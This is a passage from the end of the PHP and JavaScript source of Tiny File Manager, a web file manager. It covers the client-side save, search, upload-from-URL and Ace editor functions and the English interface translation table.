                return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function() {
                    4 == n.readyState && 200 == n.status && toast(n.responseText)
                }, n.send(a), !1
            }

            // Toast message
            function toast(txt) {
                var x = document.getElementById("snackbar");
                x.innerHTML = txt;
                x.className = "show";
                setTimeout(function() {
                    x.className = x.className.replace("show", "");
                }, 3000);
            }

            // Save file
            function edit_save(e, t) {
                var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
                if (typeof n !== 'undefined' && n !== null) {
                    if (true) {
                        var data = {
                            ajax: true,
                            content: n,
                            type: 'save',
                            token: window.csrf
                        };

                        $.ajax({
                            type: "POST",
                            url: window.location,
                            data: JSON.stringify(data),
                            contentType: "application/json; charset=utf-8",
                            success: function(mes) {
                                toast("Saved Successfully");
                                window.onbeforeunload = function() {
                                    return
                                }
                            },
                            failure: function(mes) {
                                toast("Error: try again");
                            },
                            error: function(mes) {
                                toast(`<p style="background-color:red">${mes.responseText}</p>`);
                            }
                        });
                    } else {
                        var a = document.createElement("form");
                        a.setAttribute("method", "POST"), a.setAttribute("action", "");
                        var o = document.createElement("textarea");
                        o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                        let cx = document.createElement("input");
                        cx.setAttribute("type", "hidden");
                        cx.setAttribute("name", "token");
                        cx.setAttribute("value", window.csrf);
                        var c = document.createTextNode(n);
                        o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
                    }
                }
            }

            function show_new_pwd() {
                $(".js-new-pwd").toggleClass('hidden');
            }

            // Save Settings
            function save_settings($this) {
                let form = $($this);
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    success: function(data) {
                        if (data) {
                            window.location.reload();
                        }
                    }
                });
                return false;
            }

            //Create new password hash
            function new_password_hash($this) {
                let form = $($this),
                    $pwd = $("#js-pwd-result");
                $pwd.val('');
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    success: function(data) {
                        if (data) {
                            $pwd.val(data);
                        }
                    }
                });
                return false;
            }

            // Upload files using URL @param {Object}
            function upload_from_url($this) {
                let form = $($this),
                    resultWrapper = $("div#js-url-upload__list");
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    beforeSend: function() {
                        form.find("input[name=uploadurl]").attr("disabled", "disabled");
                        form.find("button").hide();
                        form.find(".lds-facebook").addClass('show-me');
                    },
                    success: function(data) {
                        if (data) {
                            data = JSON.parse(data);
                            if (data.done) {
                                resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: ' + data.done.name + '</div>');
                                form.find("input[name=uploadurl]").val('');
                            } else if (data['fail']) {
                                resultWrapper.append('<div class="alert alert-danger row">Error: ' + data.fail.message + '</div>');
                            }
                            form.find("input[name=uploadurl]").removeAttr("disabled");
                            form.find("button").show();
                            form.find(".lds-facebook").removeClass('show-me');
                        }
                    },
                    error: function(xhr) {
                        form.find("input[name=uploadurl]").removeAttr("disabled");
                        form.find("button").show();
                        form.find(".lds-facebook").removeClass('show-me');
                        console.error(xhr);
                    }
                });
                return false;
            }

            // Search template
            function search_template(data) {
                var response = "";
                $.each(data, function(key, val) {
                    response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
                });
                return response;
            }

            // Advance search
            function fm_search() {
                var searchTxt = $("input#advanced-search").val(),
                    searchWrapper = $("ul#search-wrapper"),
                    path = $("#js-search-modal").attr("href"),
                    _html = "",
                    $loader = $("div.lds-facebook");
                if (!!searchTxt && searchTxt.length > 2 && path) {
                    var data = {
                        ajax: true,
                        content: searchTxt,
                        path: path,
                        type: 'search',
                        token: window.csrf
                    };
                    $.ajax({
                        type: "POST",
                        url: window.location,
                        data: data,
                        beforeSend: function() {
                            searchWrapper.html('');
                            $loader.addClass('show-me');
                        },
                        success: function(data) {
                            $loader.removeClass('show-me');
                            data = JSON.parse(data);
                            if (data && data.length) {
                                _html = search_template(data);
                                searchWrapper.html(_html);
                            } else {
                                searchWrapper.html('<p class="m-2">No result found!<p>');
                            }
                        },
                        error: function(xhr) {
                            $loader.removeClass('show-me');
                            searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');
                        },
                        failure: function(mes) {
                            $loader.removeClass('show-me');
                            searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');
                        }
                    });
                } else {
                    searchWrapper.html("OOPS: minimum 3 characters required!");
                }
            }

            // action confirm dailog modal
            function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
                e.preventDefault();
                const tplObj = {
                    id,
                    title,
                    content: decodeURIComponent(content.replace(/\+/g, ' ')),
                    action
                };
                let tpl = $("#js-tpl-confirm").html();
                $(".modal.confirmDailog").remove();
                $('#wrapper').append(template(tpl, tplObj));
                const $confirmDailog = $("#confirmDailog-" + tplObj.id);
                $confirmDailog.modal('show');
                return false;
            }

            // on mouse hover image preview
            ! function(s) {
                s.previewImage = function(e) {
                    var o = s(document),
                        t = ".previewImage",
                        a = s.extend({
                            xOffset: 20,
                            yOffset: -20,
                            fadeIn: "fast",
                            css: {
                                padding: "5px",
                                border: "1px solid #cccccc",
                                "background-color": "#fff"
                            },
                            eventSelector: "[data-preview-image]",
                            dataKey: "previewImage",
                            overlayId: "preview-image-plugin-overlay"
                        }, e);
                    return o.off(t), o.on("mouseover" + t, a.eventSelector, function(e) {
                        s("p#" + a.overlayId).remove();
                        var o = s("<p>").attr("id", a.overlayId).css("position", "absolute").css("display", "none").append(s('<img class="https://i.pravatar.cc/100?img=12">').attr("src", s(this).data(a.dataKey)));
                        a.css && o.css(a.css), s("body").append(o), o.css("top", e.pageY + a.yOffset + "px").css("left", e.pageX + a.xOffset + "px").fadeIn(a.fadeIn)
                    }), o.on("mouseout" + t, a.eventSelector, function() {
                        s("#" + a.overlayId).remove()
                    }), o.on("mousemove" + t, a.eventSelector, function(e) {
                        s("#" + a.overlayId).css("top", e.pageY + a.yOffset + "px").css("left", e.pageX + a.xOffset + "px")
                    }), this
                }, s.previewImage()
            }(jQuery);

            // Dom Ready Events
            $(document).ready(function() {
                // dataTable init
                var $table = $('#main-table'),
                    tableLng = $table.find('th').length,
                    _targets = (tableLng && tableLng == 7) ? [0, 4, 5, 6] : tableLng == 5 ? [0, 4] : [3];
                mainTable = $('#main-table').DataTable({
                    paging: false,
                    info: false,
                    order: [],
                    columnDefs: [{
                        targets: _targets,
                        orderable: false
                    }]
                });

                // filter table
                $('#search-addon').on('keyup', function() {
                    mainTable.search(this.value).draw();
                });

                $("input#advanced-search").on('keyup', function(e) {
                    if (e.keyCode === 13) {
                        fm_search();
                    }
                });

                $('#search-addon3').on('click', function() {
                    fm_search();
                });

                //upload nav tabs
                $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e) {
                    e.preventDefault();
                    let target = $(this).data('target');
                    $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');
                    $(this).addClass('active');
                    $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');
                    $(target).removeClass('hidden');
                });
            });
        </script>

        <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE && !FM_READONLY):
            $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
            $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
            <?php print_external('js-ace'); ?>
            <script>
                var editor = ace.edit("editor");
                editor.getSession().setMode({
                    path: "ace/mode/<?php echo $ext; ?>",
                    inline: true
                });
                //editor.setTheme("ace/theme/twilight"); // Dark Theme
                editor.setShowPrintMargin(false); // Hide the vertical ruler
                function ace_commend(cmd) {
                    editor.commands.exec(cmd, editor);
                }
                editor.commands.addCommands([{
                    name: 'save',
                    bindKey: {
                        win: 'Ctrl-S',
                        mac: 'Command-S'
                    },
                    exec: function(editor) {
                        edit_save(this, 'ace');
                    }
                }]);

                function renderThemeMode() {
                    var $modeEl = $("select#js-ace-mode"),
                        $themeEl = $("select#js-ace-theme"),
                        $fontSizeEl = $("select#js-ace-fontSize"),
                        optionNode = function(type, arr) {
                            var $Option = "";
                            $.each(arr, function(i, val) {
                                $Option += "<option value='" + type + i + "'>" + val + "</option>";
                            });
                            return $Option;
                        },
                        _data = {
                            "aceTheme": {
                                "bright": {
                                    "chrome": "Chrome",
                                    "clouds": "Clouds",
                                    "crimson_editor": "Crimson Editor",
                                    "dawn": "Dawn",
                                    "dreamweaver": "Dreamweaver",
                                    "eclipse": "Eclipse",
                                    "github": "GitHub",
                                    "iplastic": "IPlastic",
                                    "solarized_light": "Solarized Light",
                                    "textmate": "TextMate",
                                    "tomorrow": "Tomorrow",
                                    "xcode": "XCode",
                                    "kuroir": "Kuroir",
                                    "katzenmilch": "KatzenMilch",
                                    "sqlserver": "SQL Server"
                                },
                                "dark": {
                                    "ambiance": "Ambiance",
                                    "chaos": "Chaos",
                                    "clouds_midnight": "Clouds Midnight",
                                    "dracula": "Dracula",
                                    "cobalt": "Cobalt",
                                    "gruvbox": "Gruvbox",
                                    "gob": "Green on Black",
                                    "idle_fingers": "idle Fingers",
                                    "kr_theme": "krTheme",
                                    "merbivore": "Merbivore",
                                    "merbivore_soft": "Merbivore Soft",
                                    "mono_industrial": "Mono Industrial",
                                    "monokai": "Monokai",
                                    "pastel_on_dark": "Pastel on dark",
                                    "solarized_dark": "Solarized Dark",
                                    "terminal": "Terminal",
                                    "tomorrow_night": "Tomorrow Night",
                                    "tomorrow_night_blue": "Tomorrow Night Blue",
                                    "tomorrow_night_bright": "Tomorrow Night Bright",
                                    "tomorrow_night_eighties": "Tomorrow Night 80s",
                                    "twilight": "Twilight",
                                    "vibrant_ink": "Vibrant Ink"
                                }
                            },
                            "aceMode": {
                                "javascript": "JavaScript",
                                "abap": "ABAP",
                                "abc": "ABC",
                                "actionscript": "ActionScript",
                                "ada": "ADA",
                                "apache_conf": "Apache Conf",
                                "asciidoc": "AsciiDoc",
                                "asl": "ASL",
                                "assembly_x86": "Assembly x86",
                                "autohotkey": "AutoHotKey",
                                "apex": "Apex",
                                "batchfile": "BatchFile",
                                "bro": "Bro",
                                "c_cpp": "C and C++",
                                "c9search": "C9Search",
                                "cirru": "Cirru",
                                "clojure": "Clojure",
                                "cobol": "Cobol",
                                "coffee": "CoffeeScript",
                                "coldfusion": "ColdFusion",
                                "csharp": "C#",
                                "csound_document": "Csound Document",
                                "csound_orchestra": "Csound",
                                "csound_score": "Csound Score",
                                "css": "CSS",
                                "curly": "Curly",
                                "d": "D",
                                "dart": "Dart",
                                "diff": "Diff",
                                "dockerfile": "Dockerfile",
                                "dot": "Dot",
                                "drools": "Drools",
                                "edifact": "Edifact",
                                "eiffel": "Eiffel",
                                "ejs": "EJS",
                                "elixir": "Elixir",
                                "elm": "Elm",
                                "erlang": "Erlang",
                                "forth": "Forth",
                                "fortran": "Fortran",
                                "fsharp": "FSharp",
                                "fsl": "FSL",
                                "ftl": "FreeMarker",
                                "gcode": "Gcode",
                                "gherkin": "Gherkin",
                                "gitignore": "Gitignore",
                                "glsl": "Glsl",
                                "gobstones": "Gobstones",
                                "golang": "Go",
                                "graphqlschema": "GraphQLSchema",
                                "groovy": "Groovy",
                                "haml": "HAML",
                                "handlebars": "Handlebars",
                                "haskell": "Haskell",
                                "haskell_cabal": "Haskell Cabal",
                                "haxe": "haXe",
                                "hjson": "Hjson",
                                "html": "HTML",
                                "html_elixir": "HTML (Elixir)",
                                "html_ruby": "HTML (Ruby)",
                                "ini": "INI",
                                "io": "Io",
                                "jack": "Jack",
                                "jade": "Jade",
                                "java": "Java",
                                "json": "JSON",
                                "jsoniq": "JSONiq",
                                "jsp": "JSP",
                                "jssm": "JSSM",
                                "jsx": "JSX",
                                "julia": "Julia",
                                "kotlin": "Kotlin",
                                "latex": "LaTeX",
                                "less": "LESS",
                                "liquid": "Liquid",
                                "lisp": "Lisp",
                                "livescript": "LiveScript",
                                "logiql": "LogiQL",
                                "lsl": "LSL",
                                "lua": "Lua",
                                "luapage": "LuaPage",
                                "lucene": "Lucene",
                                "makefile": "Makefile",
                                "markdown": "Markdown",
                                "mask": "Mask",
                                "matlab": "MATLAB",
                                "maze": "Maze",
                                "mel": "MEL",
                                "mixal": "MIXAL",
                                "mushcode": "MUSHCode",
                                "mysql": "MySQL",
                                "nix": "Nix",
                                "nsis": "NSIS",
                                "objectivec": "Objective-C",
                                "ocaml": "OCaml",
                                "pascal": "Pascal",
                                "perl": "Perl",
                                "perl6": "Perl 6",
                                "pgsql": "pgSQL",
                                "php_laravel_blade": "PHP (Blade Template)",
                                "php": "PHP",
                                "puppet": "Puppet",
                                "pig": "Pig",
                                "powershell": "Powershell",
                                "praat": "Praat",
                                "prolog": "Prolog",
                                "properties": "Properties",
                                "protobuf": "Protobuf",
                                "python": "Python",
                                "r": "R",
                                "razor": "Razor",
                                "rdoc": "RDoc",
                                "red": "Red",
                                "rhtml": "RHTML",
                                "rst": "RST",
                                "ruby": "Ruby",
                                "rust": "Rust",
                                "sass": "SASS",
                                "scad": "SCAD",
                                "scala": "Scala",
                                "scheme": "Scheme",
                                "scss": "SCSS",
                                "sh": "SH",
                                "sjs": "SJS",
                                "slim": "Slim",
                                "smarty": "Smarty",
                                "snippets": "snippets",
                                "soy_template": "Soy Template",
                                "space": "Space",
                                "sql": "SQL",
                                "sqlserver": "SQLServer",
                                "stylus": "Stylus",
                                "svg": "SVG",
                                "swift": "Swift",
                                "tcl": "Tcl",
                                "terraform": "Terraform",
                                "tex": "Tex",
                                "text": "Text",
                                "textile": "Textile",
                                "toml": "Toml",
                                "tsx": "TSX",
                                "twig": "Twig",
                                "typescript": "Typescript",
                                "vala": "Vala",
                                "vbscript": "VBScript",
                                "velocity": "Velocity",
                                "verilog": "Verilog",
                                "vhdl": "VHDL",
                                "visualforce": "Visualforce",
                                "wollok": "Wollok",
                                "xml": "XML",
                                "xquery": "XQuery",
                                "yaml": "YAML",
                                "django": "Django"
                            },
                            "fontSize": {
                                8: 8,
                                10: 10,
                                11: 11,
                                12: 12,
                                13: 13,
                                14: 14,
                                15: 15,
                                16: 16,
                                17: 17,
                                18: 18,
                                20: 20,
                                22: 22,
                                24: 24,
                                26: 26,
                                30: 30
                            }
                        };
                    if (_data && _data.aceMode) {
                        $modeEl.html(optionNode("ace/mode/", _data.aceMode));
                    }
                    if (_data && _data.aceTheme) {
                        var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright),
                            darkTheme = optionNode("ace/theme/", _data.aceTheme.dark);
                        $themeEl.html("<optgroup label=\"Bright\">" + lightTheme + "</optgroup><optgroup label=\"Dark\">" + darkTheme + "</optgroup>");
                    }
                    if (_data && _data.fontSize) {
                        $fontSizeEl.html(optionNode("", _data.fontSize));
                    }
                    $modeEl.val(editor.getSession().$modeId);
                    $themeEl.val(editor.getTheme());
                    $(function() {
                        //set default font size in drop down
                        $fontSizeEl.val(12).change();
                    });
                }

                $(function() {
                    renderThemeMode();
                    $(".js-ace-toolbar").on("click", 'button', function(e) {
                        e.preventDefault();
                        let cmdValue = $(this).attr("data-cmd"),
                            editorOption = $(this).attr("data-option");
                        if (cmdValue && cmdValue != "none") {
                            ace_commend(cmdValue);
                        } else if (editorOption) {
                            if (editorOption == "fullscreen") {
                                (void 0 !== document.fullScreenElement && null === document.fullScreenElement || void 0 !== document.msFullscreenElement && null === document.msFullscreenElement || void 0 !== document.mozFullScreen && !document.mozFullScreen || void 0 !== document.webkitIsFullScreen && !document.webkitIsFullScreen) &&
                                (editor.container.requestFullScreen ? editor.container.requestFullScreen() : editor.container.mozRequestFullScreen ? editor.container.mozRequestFullScreen() : editor.container.webkitRequestFullScreen ? editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT) : editor.container.msRequestFullscreen && editor.container.msRequestFullscreen());
                            } else if (editorOption == "wrap") {
                                let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                                editor.getSession().setUseWrapMode(wrapStatus);
                            }
                        }
                    });

                    $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e) {
                        e.preventDefault();
                        let selectedValue = $(this).val(),
                            selectionType = $(this).attr("data-type");
                        if (selectedValue && selectionType == "mode") {
                            editor.getSession().setMode(selectedValue);
                        } else if (selectedValue && selectionType == "theme") {
                            editor.setTheme(selectedValue);
                        } else if (selectedValue && selectionType == "fontSize") {
                            editor.setFontSize(parseInt(selectedValue));
                        }
                    });
                });
            </script>
        <?php endif; ?>
        <div id="snackbar"></div>
    </body>

    </html>
<?php
    }

    /**
     * Language Translation System
     * @param string $txt
     * @return string
     */
    function lng($txt)
    {
        global $lang;

        // English Language
        $tr['en']['AppName']        = 'Tiny File Manager';
        $tr['en']['AppTitle']       = 'File Manager';
        $tr['en']['Login']          = 'Sign in';
        $tr['en']['Username']       = 'Username';
        $tr['en']['Password']       = 'Password';
        $tr['en']['Logout']         = 'Sign Out';
        $tr['en']['Move']           = 'Move';
        $tr['en']['Copy']           = 'Copy';
        $tr['en']['Save']           = 'Save';
        $tr['en']['SelectAll']      = 'Select all';
        $tr['en']['UnSelectAll']    = 'Unselect all';
        $tr['en']['File']           = 'File';
        $tr['en']['Back']           = 'Back';
        $tr['en']['Size']           = 'Size';
        $tr['en']['Perms']          = 'Perms';
        $tr['en']['Modified']       = 'Modified';
        $tr['en']['Owner']          = 'Owner';
        $tr['en']['Search']         = 'Search';
        $tr['en']['NewItem']        = 'New Item';
        $tr['en']['Folder']         = 'Folder';
        $tr['en']['Delete']         = 'Delete';
        $tr['en']['Rename']         = 'Rename';
        $tr['en']['CopyTo']         = 'Copy to';
        $tr['en']['DirectLink']     = 'Direct link';
        $tr['en']['UploadingFiles'] = 'Upload Files';
        $tr['en']['ChangePermissions']  = 'Change Permissions';
        $tr['en']['Copying']        = 'Copying';
        $tr['en']['CreateNewItem']  = 'Create New Item';
        $tr['en']['Name']           = 'Name';
        $tr['en']['AdvancedEditor'] = 'Advanced Editor';
        $tr['en']['Actions']        = 'Actions';
        $tr['en']['Folder is empty'] = 'Folder is empty';
        $tr['en']['Upload']         = 'Upload';
        $tr['en']['Cancel']         = 'Cancel';
        $tr['en']['InvertSelection'] = 'Invert Selection';
        $tr['en']['DestinationFolder']  = 'Destination Folder';
        $tr['en']['ItemType']       = 'Item Type';
        $tr['en']['ItemName']       = 'Item Name';
        $tr['en']['CreateNow']      = 'Create Now';
        $tr['en']['Download']       = 'Download';
        $tr['en']['Open']           = 'Open';
        $tr['en']['UnZip']          = 'UnZip';
        $tr['en']['UnZipToFolder']  = 'UnZip to folder';
        $tr['en']['Edit']           = 'Edit';
        $tr['en']['NormalEditor']   = 'Normal Editor';
        $tr['en']['BackUp']         = 'Back Up';
        $tr['en']['SourceFolder']   = 'Source Folder';
        $tr['en']['Files']          = 'Files';
        $tr['en']['Move']           = 'Move';
        $tr['en']['Change']         = 'Change';
        $tr['en']['Settings']       = 'Settings';
        $tr['en']['Language']       = 'Language';
        $tr['en']['ErrorReporting'] = 'Error Reporting';
        $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
        $tr['en']['Help']           = 'Help';
        $tr['en']['Created']        = 'Created';
        $tr['en']['Help Documents'] = 'Help Documents';
        $tr['en']['Report Issue']   = 'Report Issue';
        $tr['en']['Generate']       = 'Generate';
        $tr['en']['FullSize']       = 'Full Size';
        $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';
        $tr['en']['You are logged in'] = 'You are logged in';
        $tr['en']['Nothing selected']  = 'Nothing selected';
        $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
        $tr['en']['Renamed from']       = 'Renamed from';
        $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
        $tr['en']['Deleted']            = 'Deleted';
        $tr['en']['Archive not created'] = 'Archive not created';
        $tr['en']['Copied from']        = 'Copied from';
        $tr['en']['Permissions changed'] = 'Permissions changed';
        $tr['en']['to']                 = 'to';
        $tr['en']['Saved Successfully'] = 'Saved Successfully';
        $tr['en']['not found!']         = 'not found!';
        $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
        $tr['en']['Archive']            = 'Archive';
        $tr['en']['Permissions not changed']    = 'Permissions not changed';
        $tr['en']['Select folder']      = 'Select folder';
        $tr['en']['Source path not defined']    = 'Source path not defined';
        $tr['en']['already exists']     = 'already exists';
        $tr['en']['Error while moving from']    = 'Error while moving from';
        $tr['en']['Create archive?']    = 'Create archive?';
        $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
        $tr['en']['Archive unpacked']   = 'Archive unpacked';
        $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
        $tr['en']['Root path']          = 'Root path';
        $tr['en']['Error while renaming from']  = 'Error while renaming from';
        $tr['en']['File not found']     = 'File not found';
        $tr['en']['Error while deleting items'] = 'Error while deleting items';
        $tr['en']['Moved from']         = 'Moved from';
        $tr['en']['Generate new password hash'] = 'Generate new password hash';
        $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
        $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
        $tr['en']['Advanced Search']    = 'Advanced Search';
        $tr['en']['Error while copying from']    = 'Error while copying from';
        $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
        $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
        $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
        $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
        $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
        $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
        $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
        $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
        $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
        $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';
        $tr['en']['Are you sure want to rename?']                   = 'Are you sure want to rename?';
        $tr['en']['Are you sure want to']                           = 'Are you sure want to';

        $i18n = fm_get_translations($tr);
        $tr = $i18n ? $i18n : $tr;

        if (!strlen($lang)) $lang = 'en';
        if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
        else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
        else return "$txt";
    }

?>